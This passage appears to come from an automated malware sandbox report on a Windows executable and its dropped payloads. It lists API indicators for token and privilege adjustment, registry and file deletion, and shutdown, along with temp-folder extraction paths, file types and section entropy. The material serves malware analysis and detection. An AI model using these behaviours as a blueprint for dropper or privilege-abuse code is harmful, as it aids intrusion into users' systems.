"GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")57:T76a,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "tb8sC54.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "AY1yn84.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "1kw38Ju7.exe") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00007144-00000C2A-429376951") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00007144-00000C2A-429465588") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00007144-00000C2A-429465674") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")58:T4e1,Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp")59:Tbe8,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")5a:T84e,Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")5b:Tebd,Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00004156.00000001.93047.00B21000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004156.00000001.93047.00B21000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00004880.00000001.92978.00E61000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004880.00000001.92978.00E61000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00004976.00000000.91175.01181000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004976.00000000.91175.01181000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00005260.00000000.91286.00131000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005260.00000000.91286.00131000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")5c:T92c,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "SetFileAttributesW" (Indicator: "SetFileAttributes"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")5d:T1344,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp")5e:T56e,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")5f:T1104,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: hA8Nu84.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: hA8Nu84.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: hA8Nu84.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: hA8Nu84.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: hA8Nu84.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: cp7GF84.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: cp7GF84.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: cp7GF84.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: cp7GF84.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: cp7GF84.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: tb8sC54.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: tb8sC54.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: tb8sC54.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: tb8sC54.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: tb8sC54.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: AY1yn84.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: AY1yn84.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: AY1yn84.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: AY1yn84.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: AY1yn84.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5gC9bz2.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5gC9bz2.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5gC9bz2.exe]60:T6f9,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\HA8NU84.EXE"; Value: "") "hA8Nu84.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\CP7GF84.EXE"; Value: "") "cp7GF84.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\TB8SC54.EXE"; Value: "") "tb8sC54.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\AY1YN84.EXE"; Value: "") "tb8sC54.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\3FR64VK.EXE"; Value: "") "AY1yn84.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\1KW38JU7.EXE"; Value: "") "AY1yn84.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\2TJ5569.EXE"; Value: "")61:T54b,Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "ExitWindows"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") file/memory contains long string with (Indicator: "ExitWindows"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")62:T604,"hA8Nu84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\hA8Nu84.exe]- [targetUID: 00000000-00004880] "cp7GF84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\cp7GF84.exe]- [targetUID: 00000000-00004976] "tb8sC54.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\tb8sC54.exe]- [targetUID: 00000000-00004976] "AY1yn84.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\AY1yn84.exe]- [targetUID: 00000000-00005260] "4HZ158BT.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP002.TMP\4HZ158BT.exe]- [targetUID: 00000000-00004976] "5gC9bz2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5gC9bz2.exe]- [targetUID: 00000000-00004156] "2TJ5569.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2TJ5569.exe]- [targetUID: 00000000-00005260] "6oy9bB3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\6oy9bB3.exe]- [targetUID: 00000000-00004880] "3Fr64vK.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3Fr64vK.exe]- [targetUID: 00000000-00005624] "1kw38Ju7.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP004.TMP\1kw38Ju7.exe]- [targetUID: 00000000-00005260]63:T714,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" has section name .text with entropy "6.314163792045976" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" has section name .rsrc with entropy "7.944961281190435" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" has section name .reloc with entropy "6.222637930812128" "hA8Nu84.exe" has section name .text with entropy "6.314163792045976" "hA8Nu84.exe" has section name .rsrc with entropy "7.927794856234806" "hA8Nu84.exe" has section name .reloc with entropy "6.222637930812128" "cp7GF84.exe" has section name .text with entropy "6.314163792045976" "cp7GF84.exe" has section name .rsrc with entropy "7.886047372985373" "cp7GF84.exe" has section name .reloc with entropy "6.222637930812128" "tb8sC54.exe" has section name .text with entropy "6.314163792045976" "tb8sC54.exe" has section name .rsrc with entropy "7.791181000143361" 